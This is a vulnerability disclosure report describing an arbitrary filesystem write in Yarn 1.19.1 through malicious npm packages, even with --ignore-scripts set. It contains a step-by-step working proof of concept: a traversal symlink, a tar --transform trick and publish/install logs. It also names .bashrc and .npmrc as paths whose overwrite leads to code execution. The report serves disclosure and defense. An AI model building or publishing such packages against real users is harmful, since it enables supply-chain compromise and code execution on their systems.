7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
5.1 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
66.4%
I would like to report an arbitrary filesystem write vulnerability in Yarn when installing a malicious package from the default repositories. This vulnerability has the potential for RCE β even if --ignore-scripts
is disabled.
It allows a malicious package, upon install, to write to any path on the filesystem β For example, yarn install my-malicious-package --ignore-scripts
can write a malicious file anywhere on the filesystem. This may be changes to .bashrc
, .yarnrc
, .npmrc
etc, or modifications to other known dependancies β all which give the ability for RCE.
The outcome here is that a malicious package, particularly a popular one, installed in what is thought to be a secure fashion, actually has filesystem write abilities.
Asset was not selected as it was not in the list.
module name: yarnversion:1.19.1npm page: https://www.npmjs.com/package/yarn
Fast, reliable, and secure dependency management.
1,088,779 weekly downloads
As part of my research, I had come across the need to write an arbitrary file using yarn install
in order to escalate a vulnerability.
This target did not allow for yarn post-install hooks, but they did have one other bit of functionality that relied on a file being present in a certain directory outside of the node module installation path in order to trigger a vulnerability.
As such, I decided to investigate if it was possible to write this file via a malicious package installed via yarn
.
For the purposes of this report, the file we want to write is /tmp/my-file
- however it should be noted that the outcome of this report is that I am able to write to any new or existing file on the filesystem on behalf of the user calling yarn install
.
The yarn package manager, by default, allows for the execution of arbitrary shell commands during package installation.
This in itself allows for arbitrary file system writes. Take the following package.json as an example:
{
"name": "my-malicious-package",
"version": "1.0.38",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "echo βfooβ > /tmp/file"
},
"author": "",
"license": "ISC"
}
Upon running yarn install my-malicious package
, the command echo βfooβ > /tmp/file
will be run after a successful package installation.
This functionality is disabled by adding the --ignore-scripts
flag to the installation command. As such, running the command yarn install my-malicious package --ignore-scripts
will not execute our command.
All other behaviours of yarn install
are deterministic based on the system configuration. That is, binaries, installed dependencies, package caches etc will all be placed in the expected directories based on the configuration of the system, and no other side-effects will take place.
With that in mind, the installer of a package, who is using the --ignore-scripts
flag will expect that no side effects except the installation of files in known directories will take place.
Furthermore, with this flag, it is expected, that until such time that the package is executed (via a require within NodeJS code), that no side effects will occur.
A node package takes the form of a gzipped tarball, and at its most basic, will look like so:
$ gtar --list --file y-1.0.0.tgz
package/package.json
All other source code, binaries, assets, documentation etc - any file that is included by the package producer - is also included in this package
directory.
Given that the package takes the form of a gzipped tarball, I decided to test if symlinks are unpacked as part of the Yarn install process. I decided to create a basic package, like so:
$ ln -s /tmp/my-file package/my-file
$ ls -la package/
lrwxr-xr-x 1 rhyselsmore staff 11 3 Nov 11:21 my-file -> /tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 09:51 package.json
I then created a gzipped tarball of the directory, pushed it via npm publish
.
$ gtar -cvzf y-1.0.0.tgz package/package.json package/my-file
package/package.json
package/my-file
$ npm publish y-1.0.0.tgz
npm notice
npm notice π¦ my-malicious-package@1.0.0
npm notice === Tarball Contents ===
npm notice 214B package.json
npm notice 0 my-file
npm notice === Tarball Details ===
npm notice name: my-malicious-package
npm notice version: 1.0.0
npm notice package size: 336 B
npm notice unpacked size: 214 B
npm notice shasum: 4f6667e5abc68053f87aff4198114dcf2556b5ea
npm notice integrity: sha512-09ZKNIm3Pr+Ix[...]XmgK1FISw5cPw==
npm notice total files: 2
npm notice
+ my-malicious-package@1.0.0
I then attempted an installation of it within a temporary directory on my computer. Upon looking at the installed files, I received the following listing:
$ ls -la node_modules/my-malicious-package/
lrwxr-xr-x 1 rhyselsmore staff 10 3 Nov 11:26 my-file -> tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 11:26 package.json
Interesting. Any absolute path would have the leading / stripped off, thus resolving to a target that does not exist.
Given that absolute paths to a target would not work, I then decided to pull out my next trick - being directory transversal.
I started by recreating the symlink, but with a different payload:
$ ln -s ../../../../../../../../../../../../tmp/my-file package/my-file
$ ls -la package/
lrwxr-xr-x 1 rhyselsmore staff 11 3 Nov 11:31 my-file -> ../../../../../../../../../../../../tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 11:30 package.json
I then incremented the package version, pushed it to npm, and performed a fresh install. Upon looking at the installed files, I received the following listing:
$ ls -la node_modules/my-malicious-package/
lrwxr-xr-x 1 rhyselsmore staff 32 3 Nov 11:34 my-file -> ../../../../../../../tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 11:34 package.json
Perfect! It appears that yarn, when extracting the contents of a package, does not account for directory transversal in symlinks.
However, this was only the first step in a long step of testing to find a way to inject contents into that file.
In order to write to the symlink, I decided to try a number of things, including:
tmp
pointing to /tmp
, along with a file to be extracted to tmp/my-file
; however, yarn did not seem to extract a file into a symlinked folder.node_modules/
, such as .bin
, my-malicious-dependancy
etc.All in all, I spent about 10 hours trying different mechanisms to write to this symlink that was present within my malicious package during the yarn install
process.
After a lot of trial and error, I decided to lean on tar file transforms. Put simply, this feature of tar allows for file contents to be added with a different path to that on the filesystem. It is basically a way to say βthis file on my local filesystem, I want it extracted to this location on the target filesystem.
Put simply, it might look like this:
$ gtar --transform='s|package/my-file|package/my-file2|' -cvzf y-1.0.0.tgz package/package.json package/my-file
package/package.json
package/my-file
$ gtar --list --file y-1.0.0.tgz
package/package.json
package/my-file2
Although we placed the file of package/my-file
into the tar archive, it will be extracted as package/my-file2
.
However, most tar extractors are wary of behaviour like this, as it commonly allows for attacks such as this one. As such, they do a lot of work to prevent files being written maliciously.
As part of this testing, I tried numerous methods, including my original path transversal method, as well as directory extracting into /tmp/my-file
. Then, after several hours of testing - I had an aha moment; in our original test, yarn was extracting leading slashes from files that were being extracted when they had absolute references.
If we could create a file with a random name, with the contents of the file we wanted at /tmp/my-file
, and could somehow put it into the tar file under an absolute path of /my-file
, could we somehow trick yarn into first stripping the leading slash, and then extracting the contents into our symlink?
To test this, I created a file called package/my-file
, and gave it the contents of abc123
:
$ echo "abc123" > package/payload
This gave us the directory structure like so:
$ ls -la package/
lrwxr-xr-x 1 rhyselsmore staff 47 3 Nov 11:31 my-file -> ../../../../../../../../../../../../tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 11:33 package.json
-rw-r--r-- 1 rhyselsmore staff 7 3 Nov 11:54 payload
I then created a new gzipped tar, but with an additional transform.
$ gtar --transform='s|package/payload|/my-file|' -cvzf y-1.0.0.tgz package/package.json package/my-file package/payload
package/package.json
package/my-file
package/payload
Finally, I inspected the contents of the tar:
$ gtar --list --file y-1.0.0.tgz
package/package.json
package/my-file
gtar: Removing leading `/' from member names
/my-file
It was time to test. First of all, I ensured that no such file existed at /tmp/my-file
, by running rm -f /tmp/my-file
. I then published a new version of the package, and installed it:
$ yarn add my-malicious-package@1.0.41
yarn add v1.16.0
[1/4] π Resolving packages...
[2/4] π Fetching packages...
[3/4] π Linking dependencies...
[4/4] π¨ Building fresh packages...
success Saved lockfile.
success Saved 1 new dependency.
info Direct dependencies
ββ my-malicious-package@1.0.41
info All dependencies
ββ my-malicious-package@1.0.41
β¨ Done in 1.91s.
I checked the contents of the directory where it was installed, and say only two items:
$ ls -la node_modules/my-malicious-package/
lrwxr-xr-x 1 rhyselsmore staff 32 3 Nov 12:00 my-file -> ../../../../../../../tmp/my-file
-rw-r--r-- 1 rhyselsmore staff 214 3 Nov 12:00 package.json
And finally, decided to check the existance of the file in /tmp/my-file
:
$ ls -la /tmp/my-file
-rw-r--r-- 1 rhyselsmore wheel 7 3 Nov 12:00 /tmp/my-file
$ cat /tmp/my-file
abc123
Success! We were able to write an arbitrary file onto the filesystem.
You will need NodeJS & Yarn installed. This has only been tested on OSX systems, however it would also work on Unix systems, and will write a file into /tmp/my-file
. Ensure this file doesnβt exist first.
yarn init
. Press enter for all of the questions.yarn add [email protected] --ignore-scripts
/tmp/my-file
. It should contain abc123
No patch as of yet.
> State all technical information about the stack where the vulnerability was found
Please see attached photo.
An attacker bypasses the claims that --ignore-scripts
and other hardening measures will lead to less chance of remote code execution. As such, security conscious users of Yarn will be exposed when installing packages which make use of this attack β as will companies who download and package Yarn dependancies on behalf of end-users in sandboxes (for example, company x receives a list of packages + custom functions from an end-user, and builds them in their build servers).
Yarn generally claims that unless post/pre-install hooks are present, there is little chance of remote code execution. A through review of source code does not protect against this attack; as the attack does not live in NodeJS, nor the package.json - it is in the structure of the package itself.
For example, Bob messages Alice and says βI have pushed the code to xyz on NPM, can you take a look?β - Alice downloads the package using all of the secure flags (--ignore-scripts
, --no-default-rc
) - yet Bob is still able to write files on Aliceβs system, possibly leading to RCE.
Finally, in the event of a package being published maliciously (as what has been seen previously), a popular package may have an additional vector in which it can be weaponized.
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
5.1 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:H/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
66.4%